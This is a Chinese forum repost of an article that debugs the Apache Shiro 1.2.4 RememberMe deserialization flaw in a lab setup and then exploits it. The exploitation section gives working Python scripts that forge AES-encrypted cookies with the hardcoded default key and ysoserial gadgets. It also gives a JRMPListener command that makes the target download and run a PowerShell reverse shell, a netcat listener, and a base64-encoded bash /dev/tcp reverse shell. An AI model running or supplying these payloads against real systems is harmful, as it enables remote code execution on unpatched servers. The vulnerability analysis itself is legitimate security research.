安全矩阵

 找回密码
 立即注册
搜索
查看: 4502|回复: 0

Apache Shiro 反序列化之殇

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
发表于 2020-8-19 21:54:16 | 显示全部楼层 |阅读模式
Apache Shiro 反序列化之殇
原创 先锋情报站

来自于公众号 酒仙桥六号部队
原文链接:https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247486315&idx=1&sn=abe88c43a242b522193815bdc3234b78&chksm=9b392ddaac4ea4cc2d6131bd694de6af1df26d61d129313e0476a5ae841359e4ab94600f1fb5&mpshare=1&scene=23&srcid=0817vE2e3uvbDhOKwUgPWNS1&sharer_sharetime=1597673197086&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd

这是 酒仙桥六号部队 的第 61篇文章。
全文共计3454个字,预计阅读时长12分钟。

前言

Shiro RememberMe RCE是护网常见的漏洞,因RememberMe值加密的原因,自带绕waf特性,安服仔使用起来极其舒适,之前也看过一些大佬们写的漏洞分析,看完之后有点疑问,比如,大佬说 偶然发现这个iv并没有真正使用起来,加密模式是AES/CBC的,在安服仔印象中该模式下必须要有iv值,iv值不可能没有使用,因此安服仔决定当一次(实习)研究仔去调试一次,解决我的疑问,并记录。

简介

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令
下面我们从最开始的环境搭建开始进行研究并对问题进行解答。


环境搭建

Java: jdk1.8.0_121
Tomcat: 7.0.94
解压后进入shiro-shiro-root-1.2.4/samples/web
用IDEA加载,并设置pom.xml,指定jstl版本为1.2,增加commons-collections4,如下:
  1. <dependencies>
  2.         <dependency>
  3.             <groupId>javax.servlet</groupId>
  4.             <artifactId>jstl</artifactId>
  5.       <!--  这里需要将jstl设置为1.2 -->
  6.             <version>1.2</version>
  7.             <scope>runtime</scope>
  8.         </dependency>
  9. .....

  10.         <dependency>
  11.             <groupId>org.apache.commons</groupId>
  12.             <artifactId>commons-collections4</artifactId>
  13.             <version>4.0</version>
  14.         </dependency>
  15.     </dependencies>
复制代码


如果不指定jstl版本<version>1.2</version>,会报错误The absolute uri:
  1. http://java.sun.com/jsp/jstl/core cannot be resolved in either web.xml or the jar files deployed with this application
复制代码

如下:

增加commons-collections4,是为了后面反序列化起来如喝水一般流畅。
接着设置run/debug configurations, 添加本地tomcat环境。

部署war包:

设置项目路径:

然后Run 起来,访问http://192.168.43.30:8000/shirotest/,出现下图就证明环境是没问题。



漏洞分析

登陆时勾选Remember Me,

Cookie中会多一个rememberMekey,

而漏洞就是出现在rememberMekey中。

我们先来看下漏洞描述:Apache Shiro 在CookieRememberMeManager.java中 加密 用户身份信息并序列化后存储在名为remember-me的Cookie中, 攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

问题出现在
CookieRememberMeManager,这里我们将shiro的源码都下载下来(IDEA中点开Maven下的shiro包会提示Download Sources,点击即可下载),然后全局搜索下CookieRememberMeManager,如下:

Notice: 一定要下载shiro源码才能搜索到,IDEA目前还没有智能到可以直接重构 已编译文件 的索引。
点进CookieRememberMeManager,打开IDEA的Structure选项卡,可以清晰的看出CookieRememberMeManager类的组成元素,根据名称与对应的代码,可以大概知道他们各自的功能。
然后这里我们先分析rememberMe是怎么加密的,我们通过IDEA的Find Usage功能对rememberSerializedIdentity函数进行往上查找,发现其被rememberIdentity调用了。


接着再往上查找2层,找到了程序登陆成功的流程,如下:

我们在程序登陆成功处打个断点org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin,先来分析rememberMe值的加密过程,然后浏览器进行登陆账户root/secret,勾选上Remember Me的按钮,进行登陆,此时程序会停在断点处,如下:

在onSuccessfulLogin方法中,首先调用forgetIdentity方法来进行处理request和response请求,并在response中设置rememberMe=deleteMe的 Cookie。
在数据包中显示如下:
  1. Set-Cookie: rememberMe=deleteMe; Path=/shirotest; Max-Age=0; Expires=Mon, 13-Jul-2020 07:41:20 GMT
复制代码

这个不是关键 大家有兴趣可以自己跟一下。
然后判断有没有勾选Remember Me选项,这里我登陆时勾选了,因此isRememberMe(token)结果为true,F5进入rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo)函数。

该函数首先调用getIdentityToRemember函数来获取用户身份,
接着我们先跟进:
rememberIdentity(org.apache.shiro.subject.Subject, org.apache.shiro.subject.PrincipalCollection) 函数。

该函数首先调用了convertPrincipalsToBytes,F5跟进去。

convertPrincipalsToBytes函数 首先对用户身份"root"进行了序列化,然后对序列化后的字节数组进行了加密,我们F5跟进org.apache.shiro.mgt.AbstractRememberMeManager#encrypt(byte[] serialized)函数,看下是怎么加密的。

根据IDEA调试的变量信息,可以推测加密算法为AES,模式为CBC,填充为PKCS5Padding,getEncryptionCipherKey()函数应该是获取AES加密的密钥,这里我们跟进去,如下:

是一个get方法,我们找下对应的set方法,Find Usages找下哪里调用了setEncryptionCipherKey方法,最后找到是setCipherKey方法调用了。

继续往上找:

找到了AES的Key,以硬编码的方式写在代码里。

继续跟进
encrypt(serialized, getEncryptionCipherKey())

iv通过generateInitializationVector函数生成。

跟进generateInitializationVector函数,可以发现iv是随机生成的。
iv随机生成的,那它解密的时候如何获取这个iv呢?
接下来:
回到 encrypt(serialized, getEncryptionCipherKey()),
跟进 encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv)

最终加密返回来的bytes,是由16位iv+密文组成的。
目前上面分析到的整个加密过程:
将root身份序列化之后的值经过AES加密,加密过后的值与16位iv进行拼接,返回新的bytes数组,其中16位iv在新字节数组的头部,即iv=bytes[:16],encrypt=bytes[16:]
  • 加密算法为AES,模式为CBC,填充为PKCS5Padding,
  • key为Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")
  • iv随机生成的16位。


以上就是convertPrincipalsToBytes函数做的事情。
到了这里基本解决了我的疑问,iv在加密的过程中是使用了的。
然后F7跳出convertPrincipalsToBytes函数,回到最开始的rememberIdentity函数,跟进rememberSerializedIdentity函数。

rememberSerializedIdentity函数将AES加密后的值Base64编码了一次,然后设置到Cookie中。
梳理下Cookie中rememberMe值的由来:

1.序列化用户身份root 2.将序列化后的值进行AES加密,密钥为常量,IV为随机数 3.将AES加密后的值与iv拼接,进行Base64编码 4.设置到Cookie中的rememberMe字段。
接下来我们看下rememberMe字段的解密过程:
在跟踪加密过程的时有
  1. org.apache.shiro.mgt.AbstractRememberMeManager#encrypt(byte[] serialized)
复制代码

这个函数,我们在这个类:
org.apache.shiro.mgt.AbstractRememberMeManager中找到对应的decrypt(byte[] encrypted)函数然后Find Usages,往上找二层,找到
org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 然后下断点,如下:

接着在登陆状态下请求网站,让断点停下。
跟进getRememberedSerializedIdentity函数。

org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity函数做了两件事,先是取了Cookie中的rememberMe值,然后将其进行Base64解码。
F7回到getRememberedPrincipals函数,跟进convertBytesToPrincipals函数。

对解码后的值进行解密,然后进行反序列化,跟进deserialize,就可以看到readObject()方法。


这里就不对decrypt函数进行跟踪了,有兴趣可以自己跟一下(加密已经很清晰了,解密的时候反着来就完事了)。
梳理下Cookie中rememberMe值的解密过程:
  1. 1.读取Cookie中的rememberMe字段值,然后进行Base64编码

  2. 2.AES解密

  3. 3.进行反序列化
复制代码

整个解密过程,可以看到在进行反序列化之前没有任何过滤,导致外界传什么值,就反序列化什么。
而AES硬编码的缘故,使得我们可以构造任意的rememberMe字段值,从而导致 任意代码执行。


漏洞利用

这里我们分两种情况,漏洞机器能出网的检测,以及漏洞机器不能出网的检测。

机器能出网情况
检测
直接使用ysoserial的URLDNS模块,进行检测,代码如下:
  1. # coding:utf-8

  2. from Crypto.Cipher import AES
  3. import traceback
  4. import requests
  5. import subprocess
  6. import uuid
  7. import base64
  8. import sys

  9. target = "http://192.168.43.30:8000/shirotest/"
  10. jar_file = './ysoserial-0.0.6-SNAPSHOT-all.jar'
  11. cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="

  12. # 创建 rememberme的值
  13. popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://5atsqm.dnslog.cn"],
  14.                         stdout=subprocess.PIPE)
  15. BS = AES.block_size
  16. pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
  17. mode = AES.MODE_CBC
  18. iv = uuid.uuid4().bytes
  19. encryptor = AES.new(base64.b64decode(cipher_key), mode, iv)
  20. file_body = pad(popen.stdout.read())
  21. base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

  22. # 发送request
  23. try:
  24.     r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=30)
  25.     print(r.status_code)
  26. except:
  27.     traceback.print_exc()
复制代码


执行之后,DNSLOG有记录,大概率存在次漏洞,如下:



利用


Windows

1.攻击主机192.168.43.31 运行JRMP:
  1. java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7778 CommonsCollections4 "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [nc所在ip] -port 7777"
复制代码

2.攻击主机nc监听:
  1. nc -lvp 7777
复制代码

3.做完以上操作,就可以执行poc了:

  1. # coding:utf-8

  2. from Crypto.Cipher import AES
  3. import traceback
  4. import requests
  5. import subprocess
  6. import uuid
  7. import base64
  8. import sys



  9. target = "http://192.168.43.30:8000/shirotest/"
  10. jar_file = './ysoserial-0.0.6-SNAPSHOT-all.jar'
  11. cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="


  12. def exp(command):
  13.     # 创建 rememberme的值
  14.     popen = subprocess.Popen(['java','-jar',jar_file, "JRMPClient", command],
  15.                             stdout=subprocess.PIPE)
  16.     BS = AES.block_size
  17.     pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
  18.     mode = AES.MODE_CBC
  19.     iv = uuid.uuid4().bytes
  20.     encryptor = AES.new(base64.b64decode(cipher_key), mode, iv)
  21.     file_body = pad(popen.stdout.read())
  22.     base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

  23.     # 发送request
  24.     try:
  25.         r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=30)
  26.         print(r.status_code)
  27.     except:
  28.         traceback.print_exc()

  29. if __name__ == '__main__':
  30.     # JRMP主机ip:监听端口
  31.     exp("192.168.43.31:7778")
复制代码


结果:


linux

linux更换下反弹shell的命令即可,命令要编码下:

最终如下:
  1. java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7778 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9uY2lwLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}"
复制代码

不能出网
不能出网当然是用回显啦,如下:



修复建议

对于这个漏洞的修复最有效且最快的方式就是升级至最新版本。


总结

本文从环境搭建开始,通过一步步调试,分析了rememberMekey的加密过程(对用户身份进行序列化,对序列化后的结果进行AES加密,再对AES加密后的结果进行Base64编码)以及解密过程(对rememberMekey进行Base64解码,解码后的值进行AES解密,再对AES解密后的值 进行反序列化),在调试rememberMekey的整个解密过程中,可以看到rememberMekey的值在进行反序列化之前没有任何过滤,导致外界传什么值,就反序列化什么。

而AES硬编码的缘故,使得我们可以构造任意的rememberMe字段值,从而导致 任意代码执行。

最后 讲解了漏洞在不同情况下的利用方式以及修复建议。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 06:49 , Processed in 0.014554 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表